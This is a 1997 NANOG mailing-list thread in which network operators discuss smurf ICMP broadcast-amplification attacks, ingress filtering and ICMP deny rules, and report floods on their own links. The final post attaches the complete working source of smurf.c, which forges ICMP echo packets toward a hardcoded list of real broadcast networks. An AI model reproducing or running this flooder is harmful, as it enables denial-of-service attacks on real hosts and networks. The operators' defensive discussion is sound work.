At 03:23 PM 07/30/97 -0400, Jay R. Ashworth wrote:

Network operators: _please_ make sure your boundary routers do not allow you to send packets upstream which have source addresses on them which are not on your networks. Filters are your friend. A source address of 127.anything is pretty uncool, too, as are broadcast addresses... although those can be harder to figure out nowadays.

This is documented in: draft-ferguson-ingress-filtering-02.txt - paul

On Wed, Jul 30, 1997 at 04:03:04PM -0400, Netstat Webmaster wrote:

On Wed, 30 Jul 1997, Jay R. Ashworth wrote:

...

What he's saying is that someone is mounting broadcast ping flooding attacks with forged source addresses which make them appear to be coming from MAE-East, among other places.

mmmm... no. The forged source address is that of the victim. The listed broadcast addresses are the destinations of the packets with the forged address of the victim. The broadcast addresses are never forged.

Really? Hmmm... In any event, such filtering on the part of IAP's will solve the problem, mostly. Cheers, -- jra -- Jay R. Ashworth jra@baylink.com Member of the Technical Staff Unsolicited Commercial Emailers Sued The Suncoast Freenet "People propose, science studies, technology Tampa Bay, Florida conforms." -- Dr. Don Norman +1 813 790 7592

On Wed, Jul 30, 1997 at 03:47:26PM -0400, Jordyn A. Buchanan wrote:

The LAN is being used indirectly to attack another network. Pings are spoofed as originating from the machine that is being attacked and sent to the broadcast address on another network. This causes every machine on the receiving network to send an ECHO_RESPONSE to the machine being attacked, esentially creating a huge multiplying effect on a ping flood attack.

Apparently, the MAE-East LAN is one of the networks that attackers are using to flood other hosts.

Time to attempt to put my other foot in my mouth. Ought IP stack implementations not to refuse to reply to ECHO_REQUEST packets with destination address which are broadcast addresses? Ok, yes, I know that CIDR makes this harder, but knowing which nets fall on non-octet boundaries is non-obvious, too, and this particular attack wasn't trying... .255 is _always_ a broadcast address, no? Cheers, -- jra -- Jay R. Ashworth jra@baylink.com Member of the Technical Staff Unsolicited Commercial Emailers Sued The Suncoast Freenet "People propose, science studies, technology Tampa Bay, Florida conforms." -- Dr. Don Norman +1 813 790 7592

.255 is _always_ a broadcast address, no?

Uh, no. If the bit mask is smaller than /24, any given .255 address could be legitimate. -- Joe Rhett Systems Engineer JRhett@ISite.Net ISite Services PGP keys and contact information: http://www.navigist.com/Staff/JRhett

At 7:56 PM +0100 7/30/97, Alex.Bligh wrote:

...

Urm, 192.41.177.255 is the MAE-East LAN ?! Are you saying attacks are being mounted from here or people are attacking this LAN (not sure which is more worrying)

The LAN is being used indirectly to attack another network. Pings are spoofed as originating from the machine that is being attacked and sent to the broadcast address on another network. This causes every machine on the receiving network to send an ECHO_RESPONSE to the machine being attacked, esentially creating a huge multiplying effect on a ping flood attack.

Apparently, the MAE-East LAN is one of the networks that attackers are using to flood other hosts.

Right. Well that's how I read it too. And just to make sure this thread is indeed operations related, I'll make the following points: 1. Send a Cisco enough (a thousand a second) ICMP ECHO REQUESTS, and it takes CPU to 99% and drops all BGP sessions. Tested on a C7010. 2. Various routers on MAE-East have been mysteriously clearing all their BGP peers over the past week or two. 3. The attack mentioned causes a lot of ICMP ECHO REQUESTS to be sent to Cisco routers on MAE-East. Are these facts by any chance related? I think we should be told. Or, urm, find out. On with that logging ACL. Alex Bligh Xara Networks

On Wed, 30 Jul 1997, Systems Engineer wrote:

Actually people are making it seem that the entire MAE is sending you an echo. No one is mounting an attack from there, they are just making it look like it is coming from there.

Well thats not entirely true. In effect the victim is indeed being 'attacked' by MAE machines on that network. Look at it like this: evil.com -> generates packet with forged address as (victim.com(icmp_echo)) -> destination for spoofed packet (25 .255 broadcast addresses).

From here... all 25 network's broadcast address pass the icmp with the forged address on to all machines using that network. Each machine then replies as:

xxx.xxx.xxx.255 abused.net.com (echo_reply) -> victim.com abused2.net.com (echo_reply) -> victim.com yyy.yyy.yyy.255 abused3.othernet.com (echo_reply) -> victim.com abused4.othernet.com (echo_reply) -> victim.com [...etc...] Its a rather obnoxious attack, and its not exactly new. Though I do think that it will get much worse now that smurf.c has been written and is being passed around like candy. The real problem I see with this particular attack is that there is nothing short of blocking all ICMPs that 'victim.com' can do. At least not that I am aware of. Regards, Tripp webmaster@http://www.netstat.net

Well ever since this but was introduced to the outside world, I have since modified my present Firewall (ipfwadm v2.3.0) to accomodate. type prot source destination ports deny icmp 0.0.0.0 0.0.0.255 any deny icmp 0.0.0.255 0.0.0.0 any Depending on the nature of the attack, that will handle it. I have tested it and It has worked on my local machine. But the best thing to do is if you find no need for a broadcast ICMP message, simply filter it at the router. root@gannett.com wrote:

...

The real problem I see with this particular attack is that there is nothing short of blocking all ICMPs that 'victim.com' can do. At least not that I am aware of.

Well, I've been filtering ICMP for quite a while at my border routers,

and other than the occasional braindead sendmail configuration, and the fact that Solaris ping can't handle the "Administratively prohibited" return from the IOS filter rule, I've yet to see a major downside.

We have a very large quantity of people hitting our network every day.

Is there a specific reason that you can see to allow ICMP inbound to a 'victim.com'? Or at least to more than a handful of specific addresses? Perhaps there's a better solution with some sort of ICMP "proxy" at or just behind the router?

Paul ---- -------------------------------------------------------------------- Paul D. Robertson gatekeeper@gannett.com

-- --- --- --- --- --- --- --- --- --- Steven Nash ph: (516)248-8400ext25 Systems Engineer / Network Security fax: (516)248-8897 Lightning Internet Services LLC email: snash@lightning.net http://www.lightning.net --- --- --- --- --- --- --- --- ---

Well to allow ICMP is good for just basic pinging of you or a traceroute. I really dont care if other people can traceroute or ping me so i just deny those lines i mentioned before, and all ICMP as a whole. Until the bug passes and/or gets fixed somehow, I am going to keep those lines. root@gannett.com wrote:

On Wed, 30 Jul 1997, Systems Engineer wrote:

...

Well ever since this but was introduced to the outside world, I have since modified my present Firewall (ipfwadm v2.3.0) to accomodate.

type prot source destination ports deny icmp 0.0.0.0 0.0.0.255 any deny icmp 0.0.0.255 0.0.0.0 any

My rule is:

deny icmp 0.0.0.0 0.0.0.0 any

With perhaps specific permits above that for devices that I find have a legitimate need for ICMP (be it unreachables, or echo/echo reply).

I was wondering more if there were a good reason, other than for dial-up users who may need connectivity checks, to allow any ICMP in, or ICMP to say anything more than a terminal server's address range and certain hosts.

Hence my prior discussion on ping-mapping netblocks, and its lack of applicability to the number of hosts on my network.

Paul ---- -------------------------------------------------------------------- Paul D. Robertson gatekeeper@gannett.com

-- --- --- --- --- --- --- --- --- --- Steven Nash ph: (516)248-8400ext25 Systems Engineer / Network Security fax: (516)248-8897 Lightning Internet Services LLC email: snash@lightning.net http://www.lightning.net --- --- --- --- --- --- --- --- ---

Sorry if my previous posts confused some people [regarding ICMP]. Let me just state right now that I wanted all of NANOG to know how 31337 I am for knowing the author of a ping flooder. This certainly puts me in the category of "in the know"!@#. Also, I figured I would dispell my vast knowledge and experience regarding ICMP; since I know none of you here have any idea at all what that is. What would you all do if I wasn't here to mentor you all? For those that aren't lucky enough to know -- I go by MayTrickZ on IRC, and I have t0mbs of knowledge regarding the WaR3Z underground. What I know could fill the pages of a comic book so beware!@# MayTrickz "Has anyone seen my IRC server?" d00d +!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#!@#+ | Every ISP on the NET needs a WaReZ d00d, for LIGHTNING, I'm it! | | Steve Nash, snash@lightning.net MayTrickZ@IRC + +!#$!#@$!#@$!#@$!#$!@#!@#$!@$!@$!@$!@$!@$!@$!@$!@$!@$!@$!@$!@$!@$!@+

On Mon, 11 Aug 1997, Rick Watson wrote:

This does not solve the entire problem. We have been the victim of such an attack for the last several days. The attack is using up about 7 Mbits of our DS3 to Sprint or about 16%. Filtering out ICMP packets at the router we control only prevents the target host from seeing the ping replies, but does not recover the portion of our circuit occupied by the ping replies, or of Sprint's backbone circuits, or of other provider's circuits in the path, etc.

FDT has also been the target of such attacks recently. You know the senario. Some kid on IRC wants to own a channel, so he runs a script that pings the broadcast address of a few dozen networks claiming a source address of our IRC server...so we get hit so hard with icmp echo replies that UUNet's Cascade switch starts burping such that the end result is we get alternating [roughly] 0.5s bursts of silence / echo reply storms, and no useful traffic comes through our T1. I have about 1.5mb of tcpdump data displaying this from an attack yesterday, and it happened again today. Fortunately, they usually do this only breifly. I'm probably going to tell our IRC admin to pull us off the IRC network. The only other viable option I can think of would be to ask UUNet to block all icmp for our network, and I don't want that. ------------------------------------------------------------------ Jon Lewis <jlewis@fdt.net> | Unsolicited commercial e-mail will Network Administrator | be proof-read for $199/message. Florida Digital Turnpike | ______http://inorganic5.fdt.net/~jlewis/pgp for PGP public key____

In article <E0wy8DZ-0002RT-00@cronus.ccti.net>, Eric Wieling <eric@cronus.ccti.net> wrote:

We recently implemented outbound filters for our network. It's rather draconion, but it's effectiveand we've had no complaints yet. We allow outbound TCP, UDP, GRE, and outbound ICMP 0/0 (echo request) with source addresses on our network That's all. It does not eliminate ping floods, but at least the source address will be traceable to us. (Yes, our whois information is up to date 8-). Granted, that means that we don't send out TTL exceeded (so people can't traceroute into us), we don't send out destination, host, or network unreachable, so if people try to access a host/port/network that does not exist, they have to wait and wait for their local TCP stack to time out. It is my belief that people should not be pinging, tracerouting, into our network and that people should not be trying to access hosts that don't exist.

So, if you filter out all ICMP messages, do you also filter out ICMP unreachables? If so, you're also filtering the ICMP unreach/fragmentation needed message. Which means that MTU discovery doesn't work over your network. Which in turn means that lots of TCP stacks will not be able to connect to your network... Just FYI Mike. -- | Miquel van Smoorenburg | | | miquels@cistron.nl | Owners of digital watches, your days are numbered. | | PGP fingerprint: FE 66 52 4F CD 59 A5 36 7F 39 8B 20 F1 D6 74 02 |

On Mon, 11 Aug 1997, Rick Watson wrote: |Netstat Webmaster wrote: |> [some text omitted] |> The real problem I see with this particular attack is that there is |> nothing short of blocking all ICMPs that 'victim.com' can do. At least |> not that I am aware of. |> |> Regards, |> Tripp |> |> webmaster@http://www.netstat.net | |This does not solve the entire problem. We have been the victim of |such an attack for the last several days. The attack is using up about |7 Mbits of our DS3 to Sprint or about 16%. Filtering out ICMP packets |at the router we control only prevents the target host from seeing the |ping replies, but does not recover the portion of our circuit occupied |by the ping replies, or of Sprint's backbone circuits, or of other |provider's circuits in the path, etc. We have seen the same thing on our network for ~10weeks off and on. The attacks have been as bad as 29M/sec. I am attaching 'smurf.c' the program that triggers the broadcast pings etc. Everyone _please_ filter routing broadcast pings as this is a _major_ problem. Jonah /* * * smurf.c by TFreak [21:52 - 07/28/97] * * spoofs icmp packets from a host to various broadcast addresses resulting * in multiple replies to that host from a single packet. * * mad head to: * nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig, * MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain * cos he rox my sox, zuez, toxik, robocod, and everyone else that i might * have missed (you know who you are). * * mad props to Bug_Lord, as well. * * mad anal to: * #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps * because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to * his penis and anyone that can't pee standing up. * * disclaimer: * I cannot and will not be held responsible nor legally bound for the * malicious activities of individuals who come into possession of this * program and refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. * This is for educational use only. Please Don't abuse this. * */ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10; /* add your own broadcast ips, just make sure to end with NULL */ char *bcastaddr[] = { "199.171.190.255", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.255", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "192.41.177.255", "206.13.28.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "205.180.58.255", "152.2.254.255", "198.3.98.0", "131.104.96.255", "143.43.32.255", "36.190.0.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", NULL }; banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } puts("\n\n"); } void banner (void) { puts(""); puts("smurf.c v3.0 by TFreak"); puts(""); } void usage (char *prog) { fprintf(stderr, "usage: %s <source> <bcast addr> " "<num packets> <packet delay> <packet size>\n", prog); fprintf(stderr, "bcast address of 0 uses hardcoded " "addresses, num packets of 0 constant flood\n"); puts(""); exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc (int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); }